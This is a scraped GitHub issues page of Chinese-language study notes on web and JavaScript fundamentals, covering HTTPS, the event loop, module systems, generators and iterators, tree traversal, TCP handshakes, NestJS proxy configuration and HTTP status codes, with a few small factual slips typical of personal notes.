Code Monkey home page Code Monkey logo

note's Introduction

Github readme stats

note's People

Contributors

chuchencheng avatar

Stargazers

 avatar  avatar

Watchers

 avatar  avatar

note's Issues

HTTPS 工作原理

概念

HTTPS 是在 HTTP 上建立 SSL 加密层,对传输数据进行加密,是 HTTP 的安全版。

主要作用:

  1. 对数据进行加密,建立一个信息安全通道,保证传输过程中的数据安全
  2. 对网站服务器进行真实身份认证

为什么需要 HTTPS

既然是基于 HTTP ,那说明 HTTP 肯定是在安全方面存在问题的:

  1. 通信使用明文,内容可能被窃听
  2. 无法证明报文完整性,可能被篡改
  3. 不验证服务端的身份,可能遭遇伪装

HTTPS 如何解决上述问题

HTTPS 不是一种新的协议,实际上是在 HTTP 与 TCP 之间采用了 SSL 进行加密。

HTTPS = HTTP + TLS/SSL

解决可能被窃听的问题

采用非对称加密与对称加密结合来保证

当发起一个 https 请求时:

  1. 客户端生成一个对称加密的密钥
  2. 客户端用非对称加密公钥加密生成的密钥并传给服务端
  3. 服务端用非对称加密私钥解密,得到对称加密的密钥
  4. 双方用对称加密密钥进行通信

解决报文完整性问题

采用数字签名

数字签名的作用:

  1. 保证消息是由发送方签名发出
  2. 保证消息完整性

过程:

  1. 服务端用散列算法生成消息摘要,并用私钥进行加密,得到数字签名,与原文一起传送给客户端
  2. 客户端使用公钥解密数字签名,得到消息摘要,对接收到的原文用散列算法生成摘要
  3. 客户端将生成的消息摘要与公钥解密后得到的消息摘要进行对比,如果一致,则说明信息是完整的

解决身份伪装

看了上面两个问题的解决,会发现个问题,客户端如何安全地得到非对称加密的公钥的?

实际上,单靠客户端与服务端两端,是无法保证的,因为在传输公钥的过程中也可能被拦截篡改。

这时需要引入可信的第三方机构来做这件事。

过程:

  1. 数字认证机构的公钥已经事先集成在浏览器中
  2. 服务器运营向机构提交公钥、组织信息、域名等申请认证
  3. 认证通过,机构向申请者签发证书,证书包含以下信息:(1). 申请者公钥、申请者的组织信息和个人信息、签发机构 CA的信息、有效时间、证书序列号等信息的明文 (2). 使用散列函数计算 (1) 中明文得到信息摘要,用机构的私钥加密的数字签名
  4. 客户端请求时,服务端会先发出证书
  5. 客户端读取证书中的明文信息,用散列函数得到信息摘要,然后用内置的机构的公钥解密证书中的数字签名,得到另一个摘要,对比两个信息摘要,如果一致,则可以确认证书的合法性,成功获取服务端非对称加密的公钥

HTTPS 的工作流程

知道了 HTTPS 是如何解决上述三个问题的,基本能知道 HTTPS 的工作流程了。

  1. 客户端发起一个 HTTPS 请求
  2. 服务端将公钥证书返回给客户端
  3. 客户端验证公钥证书,得到非对称加密的公钥
  4. 客户端生成对称加密密钥,用刚刚得到的非对称加密的公钥加密,发给服务端
  5. 服务端用非对称加密的私钥解密消息,得到对称加密密钥,至此,双方都拿到了相同的对称加密密钥
  6. 服务端使用对称加密密钥加密“内容 A”,发送给客户端
  7. 客户端使用对称加密密钥解密,得到“内容 A”
  8. 客户端再次发起 HTTPS 请求,使用对称加密密钥加密请求的“内容 B”,发送给服务端,服务端使用对称加密密钥解密,得到“内容 B”

HTTP 与 HTTPS 的区别

  • HTTPS 更安全
  • HTTPS 对搜索引擎更友好,利于 SEO
  • HTTPS 需要用到 SSL 证书, HTTP 不需要
  • HTTPS 默认端口 443 , HTTP 默认端口 80
  • HTTPS 工作在传输层,而 HTTP 是应用层协议
  • HTTPS 在浏览器会显示安全锁

参考

浏览器的 Event loop

任务的概念

网上有很多解释,这边只做个记录。

宏任务

例如:

  • setTimeout
  • setInterval
  • setImmediate
  • requestAnimationFrame
  • I/O
  • UI rendering

微任务

例如:

  • process.nextTick (Node独有)
  • Promise
  • Object.observe
  • MutationObserver

事件循环流程

简化的描述:

维护两个队列,一个宏任务队列,一个微任务队列
在执行过程中遇到新增的宏任务或微任务,将其加入相应的队列中

  1. 执行同步代码
  2. 执行微任务队列中的任务,直到微任务队列为空(此步骤新增的微任务在加入队列后也会在这个周期执行
  3. 宏任务队列中取一个任务执行
  4. 重复2、3步骤

拓展

Node.js 中的事件循环

关于标准

Event loops

参考

带你彻底弄懂Event Loop

JavaScript 模块化方案

Node.js 端

CommonJS 规范

同步加载模块,遇到 require 语句再加载,因为在服务端磁盘读取速度快,使用这种阻塞式的加载没问题,但在浏览器端就不行。

// 导入,依赖就近风格
const a = require('a.js')
console.log(a)

// 导出
module.exports = {
  // ...
}

浏览器端

AMD (Asynchronous Module Definition)

define(['jquery'], function ($) {
  // 此函数调用时, jquery 已经加载完成
})

AMD 是一种依赖前置风格的加载方式,所有用到的依赖在 define 这个全局函数中,以一个数组的形式传入,等到所有依赖加载完成,才会执行本模块的回调函数。

实现 AMD 规范的代表性的库是 requirejs

CMD(Common Module Definition)

CMD 更接近 CommonJS 的风格,在 factory 函数中去 require 需要用到的依赖

define(function (require, exports, module) {
  const $ = require('jquery') // 依赖就近,延迟执行
})

首先分析一遍代码 require 了哪些依赖,异步下载后,等到执行 factory ,遇到 require 语句时,才会去执行相应的依赖。

代表的库是 seajs

AMD 与 CMD 的区别

二者在下载依赖方面没什么不同,都是异步下载,但是执行依赖的时机不同

AMD 在执行 factory 函数之前会把依赖都执行,且不保证执行顺序。
CMD 在执行 factory 函数之前只是下载依赖,等到执行 factory 函数时才会执行对应依赖

define(['a', 'b'], function (a, b) {
  a()
  if (false) {
    // AMD 规范中,即使 b 模块最终不会用到,但也会被执行
    b()
  }
})
define(function (require, exports, module) {
  const a = require('a')
  a()
  if (false) {
    // CMD 中, b 模块虽然也会下载,但需要在代码执行到 require 的时候才会执行
    const b = require('b')
    b()
  }
})

由此可以推断, CMD 规范要知道需要下载哪些模块,就要分析 factory 中的 require 语句,看了 seajs 里的代码,是把 factory 转为字符串去分析了:

// Parse dependencies according to the module factory code
if (!isArray(deps) && isFunction(factory)) {
  deps = typeof parseDependencies === "undefined" ? [] : parseDependencies(factory.toString())
}

https://github.com/seajs/seajs/blob/master/src/module.js#L324

UMD

UMD 则是 CommonJS 与 AMD 的结合,一种使模块能跨浏览器与 Node.js 端使用的方案。

https://www.typescriptlang.org/docs/handbook/declaration-files/library-structures.html#identifying-a-umd-library

ES Module

ES6 在语言标准的层面上实现了 JavaScript 的模块化

与 AMD 和 CommonJS 不同的是,其设计**是尽量静态化,在编译阶段就确定模块的依赖关系,而前两者只能在运行时确定依赖关系。

使用了 ES 模块的文件,默认是严格模式的。

另外, ES Module 导出的值是一种动态的引用,即模块内部对于值的修改,在引用它的模块中也会相应修改,无论是否原始值。而 CommonJS 引入的则是值的拷贝。

参考

let 与 var 的区别

作用域规则

  • var 定义的变量在 函数作用域 内有效
  • let 定义的变量在 块级作用域 内有效

一个很经典的场景:

var funcs = [];
// let's create 3 functions
for (var i = 0; i < 3; i++) {
  // and store them in funcs
  funcs[i] = function() {
    // each should log its value.
    console.log("My value: " + i);
  };
}
for (var j = 0; j < 3; j++) {
  // and now let's run each one to see
  funcs[j]();
}

在 for 循环中,如果用 var 去定义 i ,输出的结果是一样的,而如果用的是 let ,输出则是符合直觉的 1, 2, 3

来具体分析一下,上面这段代码,假设不是在函数中执行的,就是打开浏览器控制台复制粘贴进去执行,所以是在 全局作用域 中执行的。

var i = 0 这个操作,是在 全局作用域 中定义的,因此 i 就是个全局变量了。
所以在执行函数的时候,函数内的作用域没找到 i ,因此到全局作用域中去找,所以输出的结果都是 i 最后被赋的值。而 i 因为是个全局变量,所以在 for 循环后依然能被访问到。

如果用的 let ,则 i 是被定义在 for 循环的这个块中,因此在执行函数的时候,在函数作用域中没找到,转而去上一层的块级作用域中找。而在 for 循环结束后, i 也没法被访问了,如果执行后试图输入 i ,会报 ReferenceError ,因为 i 并没有在全局作用域中定义。

变量提升

  • 使用 var 声明的变量会被 “提升”
function run() {
  console.log(foo); // undefined
  var foo = "Foo";
  console.log(foo); // Foo
}

run();

上述代码中, foo 变量在函数中声明了,因为变量提升,在语句之前是一个声明了但未赋值的状态,所以第一个 console.log 输出 undefined

对应使用 let 的情况:

function checkHoisting() {
  console.log(foo); // ReferenceError
  let foo = "Foo";
  console.log(foo); // Foo
}

checkHoisting();

在初始化之前访问 let 声明的变量时,变量处于一个 暂时死区 ,即还没声明也没有赋值,因此会报 ReferenceError

全局对象属性

在全局作用域中, let 声明的变量不会被挂到全局对象上

var foo = "Foo";  // globally scoped
let bar = "Bar"; // globally scoped

console.log(window.foo); // Foo
console.log(window.bar); // undefined

重复声明

  • var 允许重复声明,后面声明的赋值会覆盖前面
  • let 重复声明变量时会报 SyntaxError

参考

Stack Overflow

二叉树的前序遍历

问题

LeetCode 144

递归

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[]}
 */
var preorderTraversal = function(root) {
    const result = []

    const traverse = (node) => {
        if (!node) return
        result.push(node.val)
        if (node.left) traverse(node.left)
        if (node.right) traverse(node.right)
    }

    traverse(root)

    return result
};

非递归

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[]}
 */
var preorderTraversal = function(root) {
    const result = []
    const stack = []
    
    let node = root
    while (node || stack.length) {
        while (node) {
            result.push(node.val)
            stack.push(node)
            node = node.left
        }
        node = stack.pop().right
    }

    return result
};

ES6 Iterator

概念

遍历器(Iterator),一种为不同数据结构提供统一的访问机制的接口。

作用:

  1. 提供统一、简便的访问接口
  2. 使数据结构的成员能够按某种次序排列
  3. for...of 遍历命令使用

规格描述

TypeScript 定义:

interface Iterable<T> {
    [Symbol.iterator](): Iterator<T>;
}

interface Iterator<T, TReturn = any, TNext = undefined> {
    // NOTE: 'next' is defined using a tuple to ensure we report the correct assignability errors in all places.
    next(...args: [] | [TNext]): IteratorResult<T, TReturn>;
    return?(value?: TReturn): IteratorResult<T, TReturn>;
    throw?(e?: any): IteratorResult<T, TReturn>;
}

type IteratorResult<T, TReturn = any> = IteratorYieldResult<T> | IteratorReturnResult<TReturn>;

interface IteratorYieldResult<TYield> {
    done?: false;
    value: TYield;
}

interface IteratorReturnResult<TReturn> {
    done: true;
    value: TReturn;
}

只要有 [Symbol.iterator] 属性,就认为是“可遍历的”(iterable)

for...of 循环中,会调用 [Symbol.iterator] ,并执行其返回的 next 函数:

const iterable = {
  [Symbol.iterator] () {
    let i = 0
    return {
      next () {
        return { value: i++, done: i > 5 }
      }
    }
  }
}

for (let i of iterable) {
  console.log(i)
}
// 0 1 2 3 4

const iter = iterable[Symbol.iterator]()

console.log(iter.next()) // { value: 0, done: false }
console.log(iter.next()) // { value: 1, done: false }
console.log(iter.next()) // { value: 2, done: false }
console.log(iter.next()) // { value: 3, done: false }
console.log(iter.next()) // { value: 4, done: false }
console.log(iter.next()) // { value: 5, done: true }

原生具备 Iterator 接口的数据结构:

  • Array
  • Map
  • Set
  • String
  • TypedArray
  • 函数的 arguments 对象
  • NodeList 对象

原生数组 Iterator 接口示例:

const arr = [1, 2, 3]
const it = arr[Symbol.iterator]()
it.next() // { value: 1, done: false }
it.next() // { value: 2, done: false }
it.next() // { value: 3, done: false }
it.next() // { value: undefined, done: true }

调用 Iterator 接口的场合

  1. 解构赋值
  2. 扩展运算符(...)
  3. yield*
  4. 任何接受数组作为参数的场合,例如 for...of, Array.from(), Map(), Set(), WeakMap(), WeakSet(), Promise.all(), Promise.race(), Promise.allSettled()

Iterator 接口与 Generator 函数

见 Generator 笔记

return 与 throw

遍历器对象除了 next ,还可以有 returnthrow 方法。这两个方法是可选的。

return 返回一个对象,在 for...of 循环提前退出(抛出错误或者手动 break )时调用,可作为清理或释放资源用。

例如:

function readLinesSync (file) {
  return {
    [Symbol.iterator] () {
      return {
        next () {
          return { done: false }
        },
        return () {
          file.close()
          return { done: true }
        }
      }
    }
  }
}

for (let line of readLinesSync(fileName)) {
  console.log(line)
  break
}

// 或者

for (let line of readLinesSync(fileName)) {
  console.log(line)
  throw new Error()
}

定义一个逐行读取文件的函数,在遍历完第一行后,如果是 break 或抛出错误了,则执行 return 方法,关闭文件。如果是抛出错误,会在 return 执行之后再抛出(个人未验证)

throw 方法主要配合 Generator 函数使用,见 Generator 笔记

for...offor...in

for...of 循环作为遍历所有数据结构的统一的方法,只要部署了 Symbol.iterator 属性,就可以用 for...of 来遍历,因此,普通的对象不能用 for...of 遍历,只能使用 for...in ,而数组、Map、Set、arguments 对象等,就可以用 for...of 来遍历。

for...in 的缺点:

  1. 数组键名是数字,但遍历的时候是以字符串 '0', '1' 等作为键名
  2. for...in 可能会遍历到原型链上的键
  3. for...in 不保证遍历的顺序
for (let key in [1, 2, 3]) {
  console.log(typeof key) // string
}
const arr = [1, 2, 3]
Object.setPrototypeOf(arr, { protoProperty: 666 })
for (let key in arr) {
  console.log(key)
}
// 0 1 2 protoProperty

总之 for...in 主要是为遍历对象而设计的,不适用于数组

另外提一下 forEach 这种函数遍历的方式,优点是简洁方便,但缺点也很明显:无法中途跳出循环

参考

http://es6.ruanyifeng.com/#docs/iterator

浏览器如何渲染页面

大致流程

DOM

  • 读取 HTML 的原始字节,根据文件编码(例如 UTF-8)转换成字符
  • 令牌化,转化为 token
  • 词法分析、语法分析
  • 构建 DOM 树

CSSOM

  • 读取字节,转换成字符
  • 令牌化
  • 词法分析、语法分析
  • 构建 CSSOM 树

构建渲染树(Render Tree)

在 Gecko 下也叫 Frame Tree

  • 从 DOM 树根节点开始遍历每个可见节点
  • 对于每个可见节点应用对应的 CSSOM 规则
  • 输出渲染树

渲染树包括节点内容与计算的样式

布局(Layout)

这个过程在 Gecko 下叫 Reflow

  • 从渲染树跟节点开始遍历,计算每个节点在视口的确切位置与大小
  • 输出 “盒模型”

绘制(Painting)

  • 将渲染树中的每个节点转换成屏幕上的实际像素

参考

二叉树的后序遍历

问题

LeetCode 145

递归

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[]}
 */
var postorderTraversal = function(root) {
    const result = []
    const traverse = (node) => {
        if (node) {
            if (node.left) traverse(node.left)
            if (node.right) traverse(node.right)
            result.push(node.val)
        }
    }
    traverse(root)
    return result
};

非递归1

与前序、中序不同,使用一个变量来记录栈顶节点的右子节点是否被访问过了,且在判断是否访问过之前,不执行出栈操作;如果栈顶节点没有右子节点或者右子节点被访问过,则出栈。

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[]}
 */
var postorderTraversal = function(root) {
    const result = []
    const stack = []
    let seen = null
    let node = root
    while (node || stack.length) {
        while (node) {
            stack.push(node)
            node = node.left
        }
        // 此处因为中间节点可能还不能 push 到 result 中,因此不用 pop
        const last = stack[stack.length - 1]
        if (!last.right || last.right === seen) {
            // 如果没有右子节点或者右子节点已经遍历过了
            result.push(last.val)
            seen = last
            stack.pop()
        } else {
            node = last.right
        }
    }
    return result
};

非递归2

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number[]}
 */
var postorderTraversal = function(root) {
    const result = []
    if (!root) return result
    const stack = [root]
    while (stack.length) {
        const node = stack.pop()
        if (node.left) stack.push(node.left)
        if (node.right) stack.push(node.right)
        result.unshift(node.val)
    }
    return result
};

NestJS 中如何配置正向代理

背景

NestJS 应用内部请求了外部的 HTTP API ,由于某些原因需要代理。由于 NestJS 的 HttpModule 内部使用的是 axios ,因此直接找到官网搜 proxy 。

本篇重点记录使用环境变量的方式,可不修改代码。

Axios 配置代理

在其官方文档中,说明了两种配置代理的方式:

  1. 在 Request Config 中传入 proxy 配置
  2. 使用 http_proxy, https_proxy, no_proxy 环境变量

第一种方式比较明确,在 NestJS 中,在引入 HttpModule 时使用 register 传入配置即可

HttpModule.register({
  proxy: {},
})

但是这种配置方式直接侵入了代码,怎么说都得再发个版,不如看看用环境变量如何解决。

Proxy 环境变量

在 Axios 官网中看到的三个环境变量,有许多工具跟语言都支持,例如 curl, Go 等。

不过这几个环境变量没有一个固定的标准,因此各个程序对它们的支持略微有些差异。

例如在这篇文章中,就讲述了由于 Ruby 跟 Go 对于 no_proxy 支持上的差异而导致的问题:

We need to talk: Can we standardize NO_PROXY?

不过在此我只记录如何在 NestJS 应用中配置,就不去深究它们之间的差异了。

Axios 中对 http_proxy 等环境变量的支持

package.json 中可以看到这么一个库用于读取 proxy 环境变量:

proxy-from-env

可以看到这个库支持 http_proxy, https_proxy, no_proxyall_proxy (实际上是取了 ${protocol}_proxy ,因此 ftp, ws 之类的协议也是支持的,只要 Axios 能请求)

对于大小写的环境变量都支持了,且优先小写,可见代码

NestJS 配置正向代理

看到这里,配置方式很明确了,按需加上 http_proxy 等环境变量即可,例如:

http_proxy=http://username:[email protected]:8080
https_proxy=http://username:[email protected]:8080

对应 axios 中的 proxy 配置:

proxy: {
  protocol: 'http',
  host: 'example.com',
  port: 8080,
  auth: {
    username: 'username',
    password: 'password'
  }
}

优缺点

优点:

  • 对代码无侵入,无需修改代码发版

缺点:

  • 虽然可以覆盖大部分场景,但是对于只需要代理某几个域名的情况,用环境变量貌似没有可以配置的方式,或许需要代理服务器那边去处理?
  • 如果环境变量会被多个应用读取,需要注意不同程序工具之间对于 http_proxy 环境变量读取的差异,比如支持情况,大小写等

ES6 Reflect

概念

Reflect 是一个内置的对象,提供拦截操作的方法,与 Proxy 的 handlers 方法相同。

可以配合 Proxy 使用,在 handlers 中通过 Reflect 获取默认行为,在完成默认行为的基础上做修改。

静态方法

与 Proxy handlers 相同的 13 个方法。

应用

使用 Proxy 实现观察者模式:

/** 观察者集合 */
const observerSet = new Set()

// 观察者模式方法
const observe = (fn) => observerSet.add(fn)
const observable = (obj) => new Proxy(obj, { set })
const set = (target, key, value, receiver) => {
  // 先完成默认行为
  const result = Reflect.set(target, key, value, receiver)
  // 通知观察者变化
  observerSet.forEach((observer) => observer())
  return result
}

/** 观察目标 */
const person = observable({
  name: 'a',
  age: 18,
})

/** 观察者 */
const print = () => {
  console.log(`${person.name}, ${person.age}`)
}

observe(print)

person.name = 'b' // b 18

参考

http://es6.ruanyifeng.com/#docs/reflect

网络基础知识

OSI 七层参考模型

根据功能人为划分的模型

  1. 物理层(网卡)

定义:定义物理设备的标准,例如光纤、网线的类型,各种介质的传输速率等参数。

作用:传输比特流,数模、模数转换

  1. 数据链路层(交换机)

定义:从物理层传来的比特流可能有错,所以有数据链路层

作用:格式化数据、错误检测、纠错,保证数据可靠性;将比特流组合成字节,字节组合成帧;对帧解码,发送对应信息

  1. 网络层(路由器,IP 协议)

定义:将数据链路层传来的数据发送到目的节点

作用:将网络地址翻译成物理地址,决定两节点间的最佳路径

  1. 传输层(TCP,UDP 协议)

定义:随着网络通信需求的扩大,为保证大量文件的准确性,需要对数据进行切分

作用:解决不同网络之间主机的数据传输与传输质量问题;对数据进行切割,保证数据到达接收方的传输层时能够按正确的数据重组

  1. 会话层

作用:负责在数据传输中设置和维护电脑网络中两台电脑之间的通信连接

  1. 表示层

作用:把数据转换为能与接收者的系统格式兼容并适合传输的格式

  1. 应用层(HTTP)

作用:规定发送方与接收方使用某种固定格式的消息头,包含数据长度等信息,以便接收方能解析

TCP/IP 参考模型

  1. 网络链接层
  2. 网络互连层(IP)
  3. 传输层(TCP,UDP)
  4. 应用层(HTTP,HTTPS,FTP,POP3,SMTP,TELNET,SSH)

TCP 与 UDP

TCP:面向连接的,可靠传输
UDP:非连接的,不可靠传输

TCP 三次握手 四次挥手

TCP 报文控制位

  • URG:紧急指针标志,为 1 时有效,0 则忽略
  • ACK:确认序号标志,为 1 时有效,为 0 表示报文中不含确认信息,忽略
  • PSH:push 标志,为 1 表示接收方尽快将此报文交给应用程序,而不是在缓冲区排队
  • RST:重置连接标志,用于重置出现错误的连接,或拒绝非法报文段和拒绝连接请求
  • SYN:同步序号标志
  • FIN:finish 标志,用于释放连接,为 1 时表示没有数据发送了,关闭数据流

三次握手

第一次(客户端)

  1. 客户端将 SYN 控制标志位置为 1
  2. 随机产生一个序列 seq = X
  3. 将数据发送给服务端,进入 SYN_SENT 状态,等待响应

第二次(服务端)

  1. 判断客户端发送的报文,发现 SYN 为 1 ,知道要建立连接,将 SYN 与 ACK 控制标志位都置为 1
  2. 设置确认序号 ack = X + 1
  3. 随机产生序列 seq = Y
  4. 发送数据包给客户端,进入 SYN_RCVD 状态

第三次(客户端)

客户端:

  1. 检查确认序号 ack 是否为 X + 1 ,ACK 控制标志位是否为 1
  2. 将控制标志位置为 1
  3. 确认序号 ack = Y + 1
  4. 进入 ESTABLISHED 状态

服务端:

  1. 检查 ack 是否为 Y + 1 ,控制标志位 ACK 是否为 1
  2. 进入 ESTABLISHED 状态

四次挥手

第一次(客户端)

  1. 客户端发送控制标志位 FIN = 1 ,seq = u
  2. 客户端进入 FIN_WAIT_1 状态

第二次(服务端)

  1. 控制标志位 ACK 置为 1
  2. 确认序号 ack = u + 1 , seq = v
  3. 服务端进入 CLOSE_WAIT 状态

第三次(服务端)

  1. 服务端发送控制标志位 FIN = 1
  2. ACK = 1 , seq = w , ack = u + 1
  3. 进入 LAST_ACK 状态

第四次(客户端)

客户端:

  1. 客户端进入 TIME_WAIT 状态
  2. ACK = 1 , seq = u + 1 , ack = w + 1

服务端:

  1. 服务端进入 CLOSED 状态

参考

ES6 Generator

概念

一种异步编程的解决方案,与传统函数的语法、行为完全不同

语法

function 关键字与函数名之间加个 * 号。

function* gen () {}

内部使用 yield 关键字,执行后返回一个迭代器(Iterator),没错,就是用 next 方法去遍历的迭代器:

function* gen () {
  yield 1
  yield 1 + 1
  return 3
}

// Iterator
const it = gen()
it.next() // { value: 1, done: false }
it.next() // { value: 2, done: false }
it.next() // { value: 3, done: true }

可以使函数“暂停”在某个阶段,等到执行了 next 方法后再继续执行。

Generator 函数返回的迭代器在没有执行 next 是不会执行的:

function* gen () {
  console.log('executed')
}

const it = gen()
it.next()
// executed

另外注意, yield 关键字在其他表达式中,需要用括号包起来,不然会报错:

function* demo() {
  console.log('Hello' + yield); // SyntaxError
  console.log('Hello' + yield 123); // SyntaxError

  console.log('Hello' + (yield)); // OK
  console.log('Hello' + (yield 123)); // OK
}

for...of 循环

既然是 Iterator ,就可以用 for...of 循环来遍历它:

function* gen () {
  yield 1
  yield 2
  yield 3
  return 4
}

for (let value of gen()) {
  console.log(value)
}
//  1 2 3
// 注意, `for...of` 循环不会输出结果为 `done: true` 的值

next 函数的参数

在执行 next 时,如果给它传一个参数,这个参数会作为上一个 yield 表达式的返回值。

如果不传,其实就相当于传了 undefined

function* gen () {
  const i = yield 1
  console.log(i)
  yield i + 1
}

const it = gen()
const y1 = it.next() // { value: 1, done: false }
it.next(y1.value + 1)
// 函数内部输出 2
// next 返回值: { value: 3, done: false }
it.next() // { value: undefined, done: true }

Generator.prototype.throw()

可以在 Generator 函数内部抛出一个错误,如果 Generator 内部没有处理,则会抛出到外部:

function* gen () {
  try {
    yield
  } catch (e) {
    console.log('Generator 函数内部捕获', e)
  }
}

const it = gen()
it.next() // 先执行到第一个 yield 处
it.throw('手动抛出一个错误')
// Generator 函数内部捕获 手动抛出一个错误

Generator.prototype.return()

相当于提前把这个迭代器结束遍历,即返回的 done 变为 true

function* gen () {
  yield 1
  yield 2
  yield 3
  return 4
}

const it = gen()
it.next() // { value: 1, done: false }
it.return() // { value: undefined, done: true }
it.next() // { value: undefined, done: true }

return 的第一个参数可以指定 value 的值:

function* gen () {
  yield 1
  yield 2
  yield 3
  return 4
}

const it = gen()
it.next() // { value: 1, done: false }
it.return('foo') // { value: 'foo', done: true }
it.next() // { value: undefined, done: true }

next, throw, return

三个函数其实可以理解为,把执行函数时起点的 yield 替换成了不同的语句:

function* gen () {
  const r = yield 1
}

const it = gen()
it.next() // 执行到第一个 yield

it.next()
// 相当于把 `const r = yield 1` 替换成 `const r = undefined`

// it.throw(new Error('error'))
// 相当于把 `const r = yield 1` 替换成 `const r = throw new Error('error')`

// it.return(6)
// 相当于把 `const r = yield 1` 替换成 `const r = return 6`

yield* 表达式

如果在 Generator 函数内部调用 Generator 函数,可以用 yield* 表达式,这样外层在遍历 Generator 时,遇到内部的 Generator 函数,会转而进入内部函数遍历,不会跳过:

function* bar () {
  yield 1
  yield 2
}

function* foo () {
  yield 3
  // 这边如果没有手动去遍历 `bar()` 返回的迭代器, `foo` 的下一个 `next` 函数就会执行到 `yield 4` 了
  bar()
  yield 4
}

const it = foo()
for (let value of it) {
  console.log(value)
}
// 3 4

手动遍历:

function* bar () {
  yield 1
  yield 2
}

function* foo () {
  yield 3
  for (let value of bar()) {
    yield value
  }
  yield 4
}

const it = foo()
for (let value of it) {
  console.log(value)
}
// 3 1 2 4

使用 yield* 表达式:

function* bar () {
  yield 1
  yield 2
}

function* foo () {
  yield 3
  yield* bar()
  yield 4
}

const it = foo()
for (let value of it) {
  console.log(value)
}
// 3 1 2 4

作为对象属性

Generator 函数作为对象属性的写法:

const obj = {
  * generatorProperty () {
    yield 1
  }
}

this

由于 Generator 函数返回的是一个 Iterator ,而不是 this 对象,因此在 Generator 函数内绑定在 this 上的属性都是无效的:

function* gen () {
  this.a = 1
}

const it = gen()
console.log(it instanceof gen) // true , 这是 ES6 规定的,返回的迭代器是 Generator 函数的实例
console.log(it.a) // undefined

此外, Generator 函数也不能作为构造函数而使用 new 命令:

function* gen () {
  this.a = 1
}

const it = new gen() // TypeError: gen is not a constructor

Generator 与协程、上下文,应用

这部分见峰哥的文章吧。

参考

http://es6.ruanyifeng.com/#docs/generator

MySQL 判断 JSON 中的值为空

背景

假设表中有一列数据是 json 类型,但可以为 null ,要判断 json 中的某个字段是否为空

方案

{ "a": null } 这个 json 结构为例

首先列出为空的定义:

  1. 字段值为 NULL
  2. $.a === null
  3. $.a 路径不存在
  4. 其他情况,以 a 的类型决定,例如 $.a === [] 或者 $.a === {} 或者 $.a === ""

SQL 语句:

# 字段值为 NULL 或者 $.a 不存在
# 注意,这里的 null 是 MySQL NULL ,而不是 json 类型中的 null ,因此用 is null 判断
select json_type(json_extract(NULL, '$.a')) is null;
select json_type(json_extract('{}', '$.a')) is null;

# $.a === null
select json_type(json_extract('{"a": null}', '$.a')) = 'NULL';

# 剩下的就是其他情况了
# `$.a === []` 或者 `$.a === {}`
select json_length(json_extract('{"a": []}', '$.a')) = 0;

# `$.a === ""`
select json_contains('{"a": ""}', '""', '$.a') = 1;

在查询时,以上 select 后的语句视情况选取合适的几条,直接加入到 where 条件中,用 and 连接。

HTTP 基础知识

概念

HTTP(Hyper Text Transfer Protocol),超文本传输协议,是基于 TCP ,用于服务器传输超文本数据到本地的应用层协议。主要规定了客户端与服务器之间的通信格式。默认使用 80 端口。

特点

  1. 简单快速。客户端请求服务时,只需传送方法和路径。由于 HTTP 协议简单,因此通信快。
  2. 灵活。可以传送任意类型的数据
  3. 无连接。每完成一次请求即断开连接。
  4. 无状态。HTTP 请求不会保留之前请求的信息,每次请求都是独立的。

报文组成

请求报文

  1. 请求行,包括请求方法、请求 URL , HTTP 协议版本等信息
  2. 请求头,包含客户端请求相关的信息,由 关键字: 值 成对组成
  3. 空行,表示请求头结束,下面是请求体
  4. 请求体,包含请求的参数,可以有多个参数

响应报文

  1. 状态行,包含 HTTP 状态码,以及状态码原因信息
  2. 响应头,与请求头类似
  3. 空行,与请求报文空行类似
  4. 响应体,包含响应的数据信息

请求方法

  • GET 请求一个指定资源的表示形式,应该只被用于获取数据
  • HEAD 请求一个与 GET 相同的响应,但没有响应体
  • POST 用于将实体提交到指定资源,通常会导致服务器上资源状态的变化或副作用
  • PUT 替换指定资源
  • DELETE 删除指定资源
  • PATCH 对资源应用部分修改
  • OPTIONS 可使服务器传回该资源所支持的所有请求方法,可用于测试服务器功能是否正常运作
  • TRACE 回显服务器收到的请求,主要用于测试或诊断
  • CONNECT 建立一个到由目标资源标识的服务器的隧道

GET 与 POST 的区别

  • GET 在浏览器回退时是无害的, POST 则会再次提交请求,产生副作用
  • GET 请求会被浏览器主动缓存,而 POST 需要手动设置
  • GET 的请求参数由于是带在 URL 上,因此会被保留在历史记录中
  • GET 请求参数由于在 URL 上,因此有长度限制,而 POST 没有
  • GET 参数通过 URL 传递, POST 参数放在请求体中

状态码

HTTP 响应状态码用于指示 HTTP 请求是否成功完成。
响应分为五类:

  • 信息响应(100-199)
  • 成功响应(200-299)
  • 重定向(300-399)
  • 客户端错误(400-499)
  • 服务器错误(500-599)

虽然 RFC 2616 中已经推荐了描述状态的短语,例如"200 OK","404 Not Found",但是WEB开发者仍然能够自行决定采用何种短语,用以显示本地化的状态描述或者自定义信息。

下面列出一些常见状态码,具体见 MDN 文档

信息响应

100 Continue

表明所有内容都是可行的,客户端应继续请求,如果已经完成则忽略。

101 Switching Protocol

响应请求头中的 Upgrade 而发出,指示服务器也正在切换协议,例如在 WebSocket 中建立连接时,浏览器会先发出一个 GET 请求,带上 Upgrade: websocket 头部,客户端则会响应 101 ,切换到 WebSocket 对应协议。

102 Processing

表示服务器已收到并正在处理请求,但没有响应可用。

103 Early Hints

Link 头部一起使用,允许客户端在服务器仍在准备响应时开始预加载资源。

成功响应

200 OK

请求成功

201 Created

请求成功并因此创建了一个新的资源,通常是在 POST 请求或某些 PUT 请求后返回。

202 Accepted

请求已收到,但还未响应,没有结果。

重定向

300 Multiple Choice

被请求的资源有一系列可供选择的回馈信息,用户或浏览器能够自行选择一个首选的地址进行重定向。

301 Moved Permanently

被请求资源已永久移动到新位置,将来对此资源的引用都应该使用响应的若干个 URI 之一。该响应可缓存。

302 Found

